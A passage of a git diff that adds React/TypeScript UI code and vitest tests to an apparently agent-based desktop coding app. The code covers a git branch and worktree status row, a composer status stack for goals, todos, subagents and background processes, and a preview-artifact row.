+  /** List the repo's local branches for the "convert a branch" picker. */
+  onListBranches?: () => Promise<ClawCodexGitBranch[]>
+  /** Open the review pane (changed files + diffs). */
+  onOpen?: () => void
+  /** Jump into an existing worktree (open a fresh session anchored there). */
+  onOpenWorktree?: (path: string) => void
+  /** Switch the current repo checkout to another branch. */
+  onSwitchBranch?: (branch: string) => Promise<void>
+  /** Repo root path for the worktree dialog. */
+  repoPath?: null | string
+}
+
+/**
+ * The always-on coding-context row, the BASE of the composer status stack:
+ * current branch, dirty summary (+/-), and ahead/behind. A touch more prominent
+ * than the per-turn rows above it (larger branch label, accent glyph), and the
+ * entry point to the review pane. Hidden when the active session isn't in a
+ * local git repo (the probe returns null).
+ */
+export const CodingStatusRow = memo(function CodingStatusRow({
+  onBranchOff,
+  onConvertBranch,
+  onListBranches,
+  onOpen,
+  onOpenWorktree,
+  onSwitchBranch,
+  repoPath
+}: CodingStatusRowProps) {
+  const { t } = useI18n()
+  const s = t.statusStack.coding
+  const p = t.sidebar.projects
+  const fileMenu = t.fileMenu
+  const resolvedRepoPath = repoPath?.trim() || undefined
+  // This surface's OWN worktree, always — never the primary's. The row used to
+  // fall back to the global `$repoStatus` for a blank repoPath, which painted
+  // the main pane's branch/± onto a tile whose cwd hadn't resolved yet. That
+  // fallback bought nothing (the primary's computed is keyed to `$currentCwd`,
+  // which is blank in exactly the same case) and cost a wrong-tree rail.
+  const status = useStore(repoStatusForCwd(resolvedRepoPath))
+  const worktrees = useStore(repoWorktreesForCwd(resolvedRepoPath))
+
+  // While mounted, keep this worktree in the coding-status refresh set so the
+  // turn-settle / tool-complete / focus edges re-probe it too (tiles otherwise
+  // only refreshed when the MAIN cwd probe happened to cover them).
+  useEffect(() => registerRepoStatusCwd(resolvedRepoPath), [resolvedRepoPath])
+
+  const switchToBranch = async (branch: string) => {
+    if (!onSwitchBranch) {
+      return
+    }
+
+    try {
+      await onSwitchBranch(branch)
+    } catch (err) {
+      notifyError(err, s.switchFailed(branch))
+    }
+  }
+
+  // useKeybinds now handles the ⌘⇧B hotkey globally, through
+  // openWorktreeDialog. One dialog is mounted in the sidebar, so N mounted
+  // rails can no longer each open their own copy. The menu items below only
+  // publish the intent. They pin the repo of THIS rail, so the kebab of a tile
+  // targets the worktree of that tile.
+  const startBranch = (base: string | undefined) => {
+    void openWorktreeDialog({ base, repoPath: resolvedRepoPath })
+  }
+
+  if (!status) {
+    return null
+  }
+
+  const branchLabel = status.detached ? s.detached : status.branch || s.noBranch
+  // The kebab offers branching off the trunk and/or the current branch. The
+  // worktree-add bases the new branch on `base` (a branch name; undefined =
+  // current HEAD). We dedupe so "on main" shows a single trunk entry, and fall
+  // back to a plain off-HEAD branch when no trunk is detected.
+  const current = status.detached ? null : status.branch
+  const branchTargets: { base: string | undefined; label: string }[] = []
+
+  // Current branch first (the 99% "branch off where I am"), then the trunk just
+  // below it ("New branch from main"), deduped when they're the same.
+  if (current) {
+    branchTargets.push({ base: current, label: s.branchOffFrom(current) })
+  }
+
+  if (status.defaultBranch && status.defaultBranch !== current) {
+    branchTargets.push({ base: status.defaultBranch, label: s.branchOffFrom(status.defaultBranch) })
+  }
+
+  if (branchTargets.length === 0) {
+    branchTargets.push({ base: undefined, label: s.newBranch })
+  }
+
+  const switchTarget =
+    onSwitchBranch && current && status.defaultBranch && status.defaultBranch !== current ? status.defaultBranch : null
+
+  // Other worktrees to jump into — everything except the one we're already in
+  // (matched by its checked-out branch) and the bare/main placeholder entry.
+  const otherWorktrees = onOpenWorktree
+    ? worktrees.filter(w => w.path && !w.detached && w.branch && w.branch !== current)
+    : []
+
+  const hasLineDelta = status.added > 0 || status.removed > 0
+  // Untracked files carry no line delta vs HEAD, so surface them as a count when
+  // they're the only change (otherwise +/- tells the story).
+  const untrackedOnly = !hasLineDelta && status.untracked > 0
+
+  // The branch actions, rendered identically by the kebab dropdown and the
+  // row's right-click menu so the two never drift. `onBranchOff` gates the
+  // whole menu (omitted = remote backend), matching the kebab.
+  const renderBranchItems = (kit: MenuKit) => {
+    const branchItems: ActionItemSpec[] = branchTargets.map(target => ({
+      key: target.base ?? '__head__',
+      label: <span className="truncate">{target.label}</span>,
+      onSelect: () => startBranch(target.base)
+    }))
+
+    const worktreeItems: ActionItemSpec[] = otherWorktrees.map(worktree => ({
+      key: worktree.path,
+      label: <span className="truncate">{worktree.branch}</span>,
+      onSelect: () => onOpenWorktree?.(worktree.path)
+    }))
+
+    return (
+      <>
+        <kit.Label className={MENU_SECTION}>{s.newBranch}</kit.Label>
+        {branchItems.map(item => renderActionItem(kit, item))}
+        {switchTarget &&
+          renderActionItem(kit, {
+            key: '__switch__',
+            label: <span className="truncate">{s.switchTo(switchTarget)}</span>,
+            onSelect: () => void switchToBranch(switchTarget)
+          })}
+        <kit.Separator />
+        <kit.Label className={MENU_SECTION}>{s.worktrees}</kit.Label>
+        {worktreeItems.map(item => renderActionItem(kit, item))}
+        {/* Create a fresh worktree off the current HEAD (the generic "spin up a
+            worktree here", mirroring the sidebar's + button). */}
+        {renderActionItem(kit, {
+          key: '__start__',
+          label: <span className="truncate">{p.startWork}</span>,
+          onSelect: () => startBranch(undefined)
+        })}
+        {onConvertBranch &&
+          renderActionItem(kit, {
+            key: '__convert__',
+            label: <span className="truncate">{p.convertBranch}</span>,
+            onSelect: () => startBranch(undefined)
+          })}
+      </>
+    )
+  }
+
+  return (
+    <>
+      <ActionsContextMenu contentClassName="w-60" disabled={!onBranchOff} items={renderBranchItems}>
+        <StatusRow
+          // The base "where am I working" strip is part of the composer surface
+          // itself, so it inherits the composer's width and clipped top radius.
+          className="coding-status-bar min-h-7 rounded-t-[inherit] rounded-b-none border-b border-(--ui-stroke-tertiary) px-3.5 py-1.5 hover:bg-transparent"
+          // Static branch glyph — never the loading spinner. This row only renders
+          // once `status` exists, so a spinner here only ever fired on *refreshes*
+          // of an already-loaded repo (window focus, turn settle), reading as an
+          // annoying icon "blip" with no first-load value. Refreshes are silent.
+          // It's a button (not the whole row) so the glyph opens the review pane
+          // while the strip around it stays inert; size-3.5 fills the slot exactly.
+          leading={
+            <button className="flex size-3.5 items-center justify-center" onClick={onOpen} type="button">
+              <Codicon className="text-(--ui-green)" name="git-branch" size="0.8rem" />
+            </button>
+          }
+        >
+          <div className="flex min-w-0 flex-1 items-center gap-1">
+            {/* Branch name — the other half of the review-pane target. `contents`
+                so the button lays out nothing of its own: the label stays the
+                same flex child it always was, and the hit area is the text. */}
+            <button className="contents" onClick={onOpen} type="button">
+              <span className="min-w-0 truncate text-xs font-normal text-muted-foreground/92" title={branchLabel}>
+                {branchLabel}
+              </span>
+            </button>
+
+            {/* Worktree path + copy — plain muted text, not a chip. Always in the
+                flex so hover doesn't reflow the row; opacity alone reveals the
+                pair. The path sizes to its content (the `flex-1` lives on the
+                wrapper) so the glyph sits against the end of the text instead of
+                drifting to the far edge of the row. `displayPath` collapses
+                home → ~; the copy still takes the real absolute path, and it's
+                the shared `CopyButton` so it confirms with the same inline
+                checkmark as every other copy in the app. */}
+            {resolvedRepoPath && (
+              <div className="flex min-w-0 flex-1 items-center gap-0.5 opacity-0 transition-opacity group-hover/status-row:opacity-100 group-focus-within/status-row:opacity-100">
+                <span
+                  className="min-w-0 truncate font-mono text-[0.62rem] leading-4 text-muted-foreground/50"
+                  data-slot="coding-status-cwd"
+                >
+                  {displayPath(resolvedRepoPath)}
+                </span>
+                <CopyButton
+                  appearance="icon"
+                  buttonSize="icon-xs"
+                  className="pointer-events-none size-4 shrink-0 text-muted-foreground/50 hover:text-foreground group-hover/status-row:pointer-events-auto group-focus-within/status-row:pointer-events-auto"
+                  iconClassName="size-3"
+                  label={fileMenu.copyPath}
+                  side="top"
+                  stopPropagation
+                  text={resolvedRepoPath}
+                />
+              </div>
+            )}
+
+            {/* Branch actions kebab — same pattern as the session/worktree rows.
+                ALWAYS laid out; only its opacity flips on hover/focus/open, so
+                revealing it never reflows the row (no layout shift). pointer-events
+                follow opacity so the invisible trigger isn't clickable at rest. */}
+            {onBranchOff && (
+              <ActionsMenu
+                align="end"
+                contentClassName="w-60"
+                // The row sits at the bottom of the screen (above the composer),
+                // so the menu opens upward.
+                items={renderBranchItems}
+                side="top"
+              >
+                <Button
+                  aria-label={s.newBranch}
+                  className="pointer-events-none size-4 shrink-0 text-muted-foreground/60 opacity-0 transition hover:text-foreground group-hover/status-row:pointer-events-auto group-hover/status-row:opacity-100 group-focus-within/status-row:pointer-events-auto group-focus-within/status-row:opacity-100 data-[state=open]:pointer-events-auto data-[state=open]:opacity-100"
+                  size="icon-xs"
+                  variant="ghost"
+                >
+                  <Codicon name="kebab-vertical" size="0.8rem" />
+                </Button>
+              </ActionsMenu>
+            )}
+          </div>
+
+          {/* The counts describe what's in the review pane, so clicking them
+              opens it. `contents` again: the two spans stay direct flex children
+              of the row, keeping their gap and `ml-auto` behaviour untouched. */}
+          {(status.ahead > 0 || status.behind > 0 || hasLineDelta || untrackedOnly) && (
+            <button className="contents" onClick={onOpen} type="button">
+              {(status.ahead > 0 || status.behind > 0) && (
+                <span className="ml-auto flex shrink-0 items-center gap-1.5 text-[0.68rem] leading-4 text-muted-foreground/75 tabular-nums">
+                  {status.ahead > 0 && (
+                    <span className="flex items-center gap-0.5" title={s.ahead(status.ahead)}>
+                      <span aria-hidden>↑</span>
+                      {status.ahead}
+                    </span>
+                  )}
+                  {status.behind > 0 && (
+                    <span className="flex items-center gap-0.5" title={s.behind(status.behind)}>
+                      <span aria-hidden>↓</span>
+                      {status.behind}
+                    </span>
+                  )}
+                </span>
+              )}
+
+              {hasLineDelta ? (
+                <DiffCount
+                  added={status.added}
+                  className={`text-[0.72rem] leading-4 ${status.ahead === 0 && status.behind === 0 ? 'ml-auto' : ''}`}
+                  removed={status.removed}
+                />
+              ) : untrackedOnly ? (
+                <span
+                  className={`shrink-0 text-[0.72rem] leading-4 text-amber-500/90 ${status.ahead === 0 && status.behind === 0 ? 'ml-auto' : ''}`}
+                >
+                  {s.changed(status.untracked)}
+                </span>
+              ) : null}
+            </button>
+          )}
+        </StatusRow>
+      </ActionsContextMenu>
+    </>
+  )
+})
diff --git a/ui-desktop/src/app/chat/composer/status-stack/goal-indicator.test.tsx b/ui-desktop/src/app/chat/composer/status-stack/goal-indicator.test.tsx
new file mode 100644
index 000000000..5b5122328
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/status-stack/goal-indicator.test.tsx
@@ -0,0 +1,87 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { MemoryRouter } from 'react-router'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { I18nProvider } from '@/i18n'
+import { $goalsBySession, type SessionGoal } from '@/store/goals'
+
+import { ComposerStatusStack } from './index'
+
+// The stack measures itself into a surface var — jsdom has no ResizeObserver.
+class ResizeObserverStub {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+
+vi.stubGlobal('ResizeObserver', ResizeObserverStub)
+
+const SID = 'sess-goal-1'
+
+const goal = (status: SessionGoal['status'], title = 'ship the feature', detail?: string): SessionGoal => ({
+  detail,
+  status,
+  title,
+  updatedAt: Date.now()
+})
+
+function renderStack(sessionId: null | string = SID) {
+  return render(
+    <MemoryRouter>
+      <I18nProvider configClient={null} initialLocale="en">
+        <ComposerStatusStack queue={null} sessionId={sessionId} />
+      </I18nProvider>
+    </MemoryRouter>
+  )
+}
+
+describe('ComposerStatusStack goal indicator', () => {
+  beforeEach(() => {
+    $goalsBySession.set({})
+  })
+
+  afterEach(() => {
+    cleanup()
+    $goalsBySession.set({})
+  })
+
+  it('renders nothing when the session has no goal', () => {
+    const view = renderStack()
+
+    expect(view.container.firstChild).toBeNull()
+  })
+
+  it('shows an active goal with its title', () => {
+    $goalsBySession.set({ [SID]: goal('active') })
+
+    renderStack()
+
+    expect(screen.getByText('Goal active')).toBeTruthy()
+    expect(screen.getByText('ship the feature')).toBeTruthy()
+  })
+
+  it('labels a paused goal as paused', () => {
+    $goalsBySession.set({ [SID]: goal('paused') })
+
+    renderStack()
+
+    expect(screen.getByText('Goal paused')).toBeTruthy()
+    expect(screen.getByText('ship the feature')).toBeTruthy()
+  })
+
+  it('shows the continuation detail line for an active goal', () => {
+    $goalsBySession.set({ [SID]: goal('active', 'ship it', 'Continuing toward goal (3/20)') })
+
+    renderStack()
+
+    expect(screen.getByText('Continuing toward goal (3/20)')).toBeTruthy()
+  })
+
+  it('scopes the indicator to the goal-owning session', () => {
+    $goalsBySession.set({ 'other-session': goal('active') })
+
+    const view = renderStack()
+
+    expect(view.container.firstChild).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/status-stack/index.tsx b/ui-desktop/src/app/chat/composer/status-stack/index.tsx
new file mode 100644
index 000000000..de86ba14d
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/status-stack/index.tsx
@@ -0,0 +1,256 @@
+import { useStore } from '@nanostores/react'
+import { type ReactNode, useEffect, useMemo } from 'react'
+import { useNavigate } from 'react-router'
+
+import { blurComposerInput } from '@/app/chat/composer/focus'
+import { AGENTS_ROUTE } from '@/app/routes'
+import { BillingBanner } from '@/components/billing-banner'
+import { composerDockCard } from '@/components/chat/composer-dock'
+import { StatusSection } from '@/components/chat/status-section'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip, TipKeybindLabel } from '@/components/ui/tooltip'
+import { type Translations, useI18n } from '@/i18n'
+import { useSessionSlice } from '@/lib/use-session-slice'
+import { cn } from '@/lib/utils'
+import { $billingBlock } from '@/store/billing-block'
+import {
+  $statusItemsBySession,
+  type ComposerStatusItem,
+  dismissBackgroundProcess,
+  groupStatusItems,
+  refreshBackgroundProcesses,
+  type StatusGroup,
+  stopBackgroundProcess
+} from '@/store/composer-status'
+import { refreshSessionGoal } from '@/store/goals'
+import { $previewStatusBySession, dismissPreviewArtifact } from '@/store/preview-status'
+import { $threadScrolledUp } from '@/store/thread-scroll'
+import { openSessionInNewWindow } from '@/store/windows'
+
+import { PreviewStatusRow } from './preview-row'
+import { StatusItemRow } from './status-row'
+
+// Slow safety-net poll for silent exits (processes without notify_on_complete
+// emit no event when they die). Only armed while a running row is on screen.
+const BACKGROUND_POLL_MS = 5_000
+
+// A localhost/loopback preview is only meaningful while its dev server is up, so
+// we tie it to a live background process rather than persisting dismissals or
+// letting dead URLs pile up. File previews (a real on-disk artifact) stand alone.
+const isLocalhostPreview = (target: string): boolean => /\b(?:localhost|127\.0\.0\.1|0\.0\.0\.0)\b/i.test(target)
+
+// Real codicons per group (no sparkles): a checklist for todos, the agent glyph
+// for subagents, a background process glyph for background tasks.
+const GROUP_ICON: Record<StatusGroup['type'], string> = {
+  goal: 'target',
+  todo: 'checklist',
+  subagent: 'agent',
+  background: 'server-process'
+}
+
+const groupLabel = (group: StatusGroup, s: Translations['statusStack']) => {
+  if (group.type === 'goal') {
+    const status = group.items[0]?.goalStatus
+
+    return status === 'paused'
+      ? s.goalPaused
+      : status === 'waiting'
+        ? s.goalWaiting
+        : status === 'done'
+          ? s.goalDone
+          : s.goalActive
+  }
+
+  if (group.type === 'todo') {
+    return s.todos(group.items.filter(i => i.todoStatus === 'completed').length, group.items.length)
+  }
+
+  return group.type === 'subagent' ? s.subagents(group.items.length) : s.background(group.items.length)
+}
+
+interface ComposerStatusStackProps {
+  /** The queue, built by the composer (it owns the queue's callbacks). Rendered
+   *  as the last group so it stays fused to the composer like before. */
+  queue: ReactNode
+  sessionId: null | string
+}
+
+/**
+ * The status "sink" above the composer: one card (the queue's chrome) holding
+ * every session-scoped status — subagents, background tasks, queue — grouped by
+ * type and separated by light dividers. Collapses to nothing when empty.
+ */
+export function ComposerStatusStack({ queue, sessionId }: ComposerStatusStackProps) {
+  const { t } = useI18n()
+  const navigate = useNavigate()
+  // Subscribe to THIS session's slice only. Both maps churn on other
+  // sessions' activity (subagent ticks, background polls, preview updates in
+  // any tile); a whole-map `useStore` re-rendered every mounted stack — one
+  // per open tile — on all of it. The per-key arrays are referentially stable
+  // across unrelated writes, so the slice hook bails out unless OUR session's
+  // items actually changed.
+  const items = useSessionSlice($statusItemsBySession, sessionId)
+  const previews = useSessionSlice($previewStatusBySession, sessionId)
+  const scrolledUp = useStore($threadScrolledUp)
+  const billing = useStore($billingBlock)
+
+  const groups = useMemo(() => groupStatusItems(items), [items])
+
+  // Seed from the registry on session open; event-driven refreshes (terminal /
+  // process tool completions) live in use-message-stream.
+  useEffect(() => {
+    if (sessionId) {
+      void refreshBackgroundProcesses(sessionId)
+      void refreshSessionGoal(sessionId)
+    }
+  }, [sessionId])
+
+  const hasRunningBackground = groups.some(g => g.type === 'background' && g.items.some(i => i.state === 'running'))
+
+  // Drop localhost previews once no dev server is left running — that's what made
+  // dead `localhost:5174` chips stick around. On-disk file previews are kept.
+  const visiblePreviews = previews.filter(item => hasRunningBackground || !isLocalhostPreview(item.target))
+
+  useEffect(() => {
+    if (!sessionId || !hasRunningBackground) {
+      return
+    }
+
+    const timer = setInterval(() => void refreshBackgroundProcesses(sessionId), BACKGROUND_POLL_MS)
+
+    return () => clearInterval(timer)
+  }, [hasRunningBackground, sessionId])
+
+  const openAgents = () => navigate(AGENTS_ROUTE)
+
+  const openSubagent = (item: ComposerStatusItem) =>
+    item.sessionId ? void openSessionInNewWindow(item.sessionId, { watch: true }) : openAgents()
+
+  // Preview links live as child rows of the background group — a localhost dev
+  // server and its preview are the same thing — so they no longer float as an
+  // odd, differently-indented standalone block under the stack.
+  const previewRows =
+    visiblePreviews.length > 0 && sessionId
+      ? visiblePreviews.map(item => (
+          <PreviewStatusRow item={item} key={item.id} onDismiss={id => dismissPreviewArtifact(sessionId, id)} />
+        ))
+      : []
+
+  const hasBackgroundGroup = groups.some(g => g.type === 'background')
+
+  const previewBlock = <div className="px-1 py-0.5">{previewRows}</div>
+
+  const sections: { key: string; node: ReactNode }[] = []
+
+  // Billing wall sits at the very top of the stack — it's the most important
+  // thing above the composer when the account is out of credits. Rendered here
+  // (not as a composer-disable) so slash commands stay usable.
+  if (billing && sessionId && billing.sessionId === sessionId) {
+    sections.push({ key: 'billing', node: <BillingBanner sessionId={sessionId} /> })
+  }
+
+  for (const group of groups) {
+    sections.push({
+      key: group.type,
+      node: (
+        <StatusSection
+          accessory={
+            group.type === 'subagent' ? (
+              <Tip label={<TipKeybindLabel actionId="nav.agents" text={t.statusStack.agents} />}>
+                <Button
+                  className="text-muted-foreground/75 hover:text-foreground/90"
+                  onClick={openAgents}
+                  size="micro"
+                  type="button"
+                  variant="text"
+                >
+                  {t.statusStack.agents}
+                </Button>
+              </Tip>
+            ) : undefined
+          }
+          defaultCollapsed={group.type !== 'todo' && group.type !== 'goal'}
+          icon={<Codicon className="text-muted-foreground/70" name={GROUP_ICON[group.type]} size="0.8rem" />}
+          label={groupLabel(group, t.statusStack)}
+        >
+          {group.items.map(item => (
+            <StatusItemRow
+              item={item}
+              key={item.id}
+              onDismiss={sessionId ? id => dismissBackgroundProcess(sessionId, id) : undefined}
+              onOpen={() => openSubagent(item)}
+              onStop={sessionId ? id => void stopBackgroundProcess(sessionId, id) : undefined}
+            />
+          ))}
+        </StatusSection>
+      )
+    })
+
+    // Preview links belong to the background group (a localhost dev server and
+    // its preview are the same thing), but they must stay VISIBLE even when that
+    // group is collapsed — the whole point is a one-tap open. Render them as an
+    // always-visible block right after the background section, not as collapsible
+    // children that get swallowed the moment a background task appears.
+    if (group.type === 'background' && previewRows.length > 0) {
+      sections.push({ key: 'preview', node: previewBlock })
+    }
+  }
+
+  // No background group to host them (e.g. a standalone on-disk file preview):
+  // still render them as their own always-visible block.
+  if (previewRows.length > 0 && !hasBackgroundGroup) {
+    sections.push({ key: 'preview', node: previewBlock })
+  }
+
+  if (queue) {
+    sections.push({ key: 'queue', node: queue })
+  }
+
+  // Micro actions are the TOP-MOST thing in the whole overlay lane — above the
+  // status card, above the billing wall, above everything. They're the only
+  // rows up here you press instead of read, so nothing may ever stack on top
+  // of them. Rendered outside the card (below) so the pills float.
+  const visible = sections.length > 0
+
+  // No height to publish: the stack is an in-flow child of the composer dock,
+  // so the dock's own measurement (--composer-measured-height) already covers
+  // it and the thread clears both with one number.
+
+  if (!visible) {
+    return null
+  }
+
+  return (
+    <div
+      // In flow in the dock column, directly above the composer. The dock is
+      // bottom-anchored, so this grows upward over the thread without needing
+      // to be positioned — and it shares the dock's left edge for free.
+      className="flex max-h-[40vh] min-h-0 flex-col overflow-y-auto"
+      onPointerDownCapture={() => blurComposerInput()}
+    >
+      {/* The card paints the shared --composer-fill (rest / scrolled / focused
+          all match the composer surface by construction); on scroll we only
+          ghost the CONTENT — element opacity on the card would kill the blur.
+          Rounded top, square bottom; the bottom border is TRANSPARENT — the
+          composer surface's visible top border (which sits at a higher z) is the
+          single shared seam, so the two read as one fused capsule. */}
+      {sections.length > 0 && (
+        <div
+          className={cn(
+            composerDockCard('top'),
+            // Inset (mx-2) so the stack reads slightly narrower than the composer
+            // surface below it — the original look.
+            'mx-2 overflow-hidden rounded-b-none border-b border-b-transparent pt-0.5',
+            'transition-opacity duration-200 ease-out',
+            scrolledUp ? 'opacity-30 group-hover/composer:opacity-100' : 'opacity-100'
+          )}
+        >
+          {sections.map(section => (
+            <div key={section.key}>{section.node}</div>
+          ))}
+        </div>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/status-stack/preview-row.test.tsx b/ui-desktop/src/app/chat/composer/status-stack/preview-row.test.tsx
new file mode 100644
index 000000000..c06073a4b
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/status-stack/preview-row.test.tsx
@@ -0,0 +1,155 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $previewTabs, closeRightRail } from '@/store/preview'
+import { $connection } from '@/store/session'
+
+import { PreviewStatusRow } from './preview-row'
+
+describe('PreviewStatusRow', () => {
+  beforeEach(() => {
+    $connection.set(null)
+    closeRightRail()
+  })
+
+  afterEach(() => {
+    cleanup()
+    $connection.set(null)
+    closeRightRail()
+    vi.restoreAllMocks()
+  })
+
+  it('keeps the preview tooltip label inline inside the portaled decoration', async () => {
+    const view = render(
+      <PreviewStatusRow
+        item={{ cwd: 'C:\\repo', id: 'preview.html', label: 'preview.html', target: 'preview.html' }}
+        onDismiss={() => undefined}
+      />
+    )
+
+    fireEvent.pointerMove(screen.getByText('preview.html'), { pointerType: 'mouse' })
+    await screen.findByRole('tooltip')
+
+    const content = document.querySelector<HTMLElement>('[data-slot="tooltip-content"]')
+    const label = content?.firstElementChild?.firstElementChild
+
+    expect(content).not.toBeNull()
+    expect(view.container.contains(content)).toBe(false)
+    expect(label?.classList.contains('inline-flex')).toBe(true)
+    expect(label?.classList.contains('flex')).toBe(false)
+  })
+
+  it('opens remote non-HTML file artifacts in the in-app preview instead of the local browser bridge', async () => {
+    const remotePath = '/home/agent/report.pdf'
+    const openPreviewInBrowser = vi.fn(async () => undefined)
+
+    $connection.set({ mode: 'remote' } as never)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: {
+        api: vi.fn(async () => ({ binary: true, byteSize: 42, mimeType: 'application/pdf' })),
+        normalizePreviewTarget: vi.fn(async () => ({
+          kind: 'file',
+          label: 'report.pdf',
+          path: remotePath,
+          previewKind: 'binary',
+          source: remotePath,
+          url: 'file:///home/agent/report.pdf'
+        })),
+        openPreviewInBrowser
+      }
+    })
+
+    render(
+      <PreviewStatusRow
+        item={{ cwd: '/home/agent', id: remotePath, label: 'report.pdf', target: remotePath }}
+        onDismiss={() => undefined}
+      />
+    )
+
+    fireEvent.click(screen.getByText('report.pdf'))
+
+    await waitFor(() => {
+      expect($previewTabs.get()).toEqual([
+        expect.objectContaining({ target: expect.objectContaining({ kind: 'file', path: remotePath }) })
+      ])
+    })
+    expect(openPreviewInBrowser).not.toHaveBeenCalled()
+  })
+
+  it('keeps local file artifacts on the browser bridge', async () => {
+    const localPath = '/Users/alice/report.pdf'
+    const openPreviewInBrowser = vi.fn(async () => undefined)
+
+    $connection.set({ mode: 'local' } as never)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: {
+        normalizePreviewTarget: vi.fn(async () => ({
+          kind: 'file',
+          label: 'report.pdf',
+          path: localPath,
+          previewKind: 'binary',
+          source: localPath,
+          url: 'file:///Users/alice/report.pdf'
+        })),
+        openPreviewInBrowser
+      }
+    })
+
+    render(
+      <PreviewStatusRow
+        item={{ cwd: '/Users/alice', id: localPath, label: 'report.pdf', target: localPath }}
+        onDismiss={() => undefined}
+      />
+    )
+
+    fireEvent.click(screen.getByText('report.pdf'))
+
+    await waitFor(() => {
+      expect(openPreviewInBrowser).toHaveBeenCalledWith('file:///Users/alice/report.pdf')
+    })
+    expect($previewTabs.get()).toEqual([])
+  })
+
+  it('keeps remote HTML on the staged browser-open path, not the in-app pane', async () => {
+    const remotePath = '/home/agent/index.html'
+    const html = '<!doctype html><html><body>hi</body></html>'
+    const dataUrl = `data:text/html;base64,${btoa(html)}`
+    const openPreviewInBrowser = vi.fn(async () => undefined)
+    const saveImageBuffer = vi.fn(async () => '/tmp/staged.html')
+
+    $connection.set({ mode: 'remote' } as never)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: {
+        api: vi.fn(async () => dataUrl),
+        normalizePreviewTarget: vi.fn(async () => ({
+          kind: 'file',
+          label: 'index.html',
+          path: remotePath,
+          previewKind: 'html',
+          source: remotePath,
+          url: 'file:///home/agent/index.html'
+        })),
+        openPreviewInBrowser,
+        saveImageBuffer
+      }
+    })
+
+    render(
+      <PreviewStatusRow
+        item={{ cwd: '/home/agent', id: remotePath, label: 'index.html', target: remotePath }}
+        onDismiss={() => undefined}
+      />
+    )
+
+    fireEvent.click(screen.getByText('index.html'))
+
+    await waitFor(() => {
+      expect(saveImageBuffer).toHaveBeenCalled()
+      expect(openPreviewInBrowser).toHaveBeenCalledWith('file:///tmp/staged.html')
+    })
+    expect($previewTabs.get()).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/status-stack/preview-row.tsx b/ui-desktop/src/app/chat/composer/status-stack/preview-row.tsx
new file mode 100644
index 000000000..8fd06b6b3
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/status-stack/preview-row.tsx
@@ -0,0 +1,136 @@
+import { useStore } from '@nanostores/react'
+import { memo, useState } from 'react'
+
+import { StatusRow } from '@/components/chat/status-row'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { isDesktopFsRemoteMode } from '@/lib/desktop-fs'
+import { normalizeOrLocalPreviewTarget, openPreviewTargetInBrowser } from '@/lib/local-preview'
+import { cn } from '@/lib/utils'
+import { notifyError } from '@/store/notifications'
+import { $previewTabSources, closePreviewForSource, openPreview } from '@/store/preview'
+import { type PreviewArtifact } from '@/store/preview-status'
+
+interface PreviewStatusRowProps {
+  item: PreviewArtifact
+  onDismiss: (id: string) => void
+}
+
+/** One detected artifact, single line, always visible: filename + open + close. */
+export const PreviewStatusRow = memo(function PreviewStatusRow({ item, onDismiss }: PreviewStatusRowProps) {
+  const { t } = useI18n()
+  const openSources = useStore($previewTabSources)
+  const [opening, setOpening] = useState(false)
+  // A tab open IS a pane in the tree now, so its presence is the whole answer.
+  const isOpen = openSources.includes(item.target)
+
+  const resolveTarget = async () => {
+    const target = await normalizeOrLocalPreviewTarget(item.target, item.cwd || undefined)
+
+    if (!target) {
+      throw new Error(`Could not open preview target: ${item.target}`)
+    }
+
+    return target
+  }
+
+  const togglePreview = async () => {
+    if (opening) {
+      return
+    }
+
+    if (isOpen) {
+      closePreviewForSource(item.target)
+
+      return
+    }
+
+    setOpening(true)
+
+    try {
+      openPreview(await resolveTarget(), 'tool-result')
+    } catch (error) {
+      notifyError(error, t.preview.unavailable)
+    } finally {
+      setOpening(false)
+    }
+  }
+
+  const openDefaultTarget = async () => {
+    try {
+      const target = await resolveTarget()
+
+      // A file:// URL resolved in remote mode names a file on the backend
+      // host, not on the machine running Electron. Keep local files and
+      // ordinary URLs on the browser path, but route remote files through the
+      // in-app preview pane so its filesystem adapter reads via the gateway.
+      // (Remote HTML stays on openPreviewTargetInBrowser, which stages a
+      // sanitized local copy before opening it.)
+      if (target.kind === 'file' && target.previewKind !== 'html' && isDesktopFsRemoteMode()) {
+        openPreview(target, 'tool-result')
+
+        return
+      }
+
+      await openPreviewTargetInBrowser(target)
+    } catch (error) {
+      notifyError(error, t.preview.unavailable)
+    }
+  }
+
+  return (
+    <StatusRow
+      leading={
+        <Codicon
+          aria-hidden
+          className={cn('text-muted-foreground/70', opening && 'animate-pulse')}
+          name="globe"
+          size="0.8rem"
+        />
+      }
+      // Plain click opens the link in the browser, except remote files which
+      // only the in-app gateway-backed preview can read. ⌘/Ctrl-click always
+      // uses the in-app preview pane. (isOpen still toggles the pane closed.)
+      onActivate={event => {
+        if (event.metaKey || event.ctrlKey) {
+          void togglePreview()
+        } else {
+          void openDefaultTarget()
+        }
+      }}
+      trailing={
+        <Tip label={t.statusStack.dismiss}>
+          <Button
+            aria-label={t.statusStack.dismiss}
+            className="-my-1 size-4 rounded-md text-muted-foreground/60 hover:text-foreground/90"
+            onClick={event => {
+              event.stopPropagation()
+              onDismiss(item.id)
+            }}
+            size="icon-xs"
+            type="button"
+            variant="ghost"
+          >
+            <Codicon name="close" size="0.75rem" />
+          </Button>
+        </Tip>
+      }
+      trailingVisible
+    >
+      <Tip
+        label={
+          // inline-flex (not flex): a block child collapses Tip's decoration
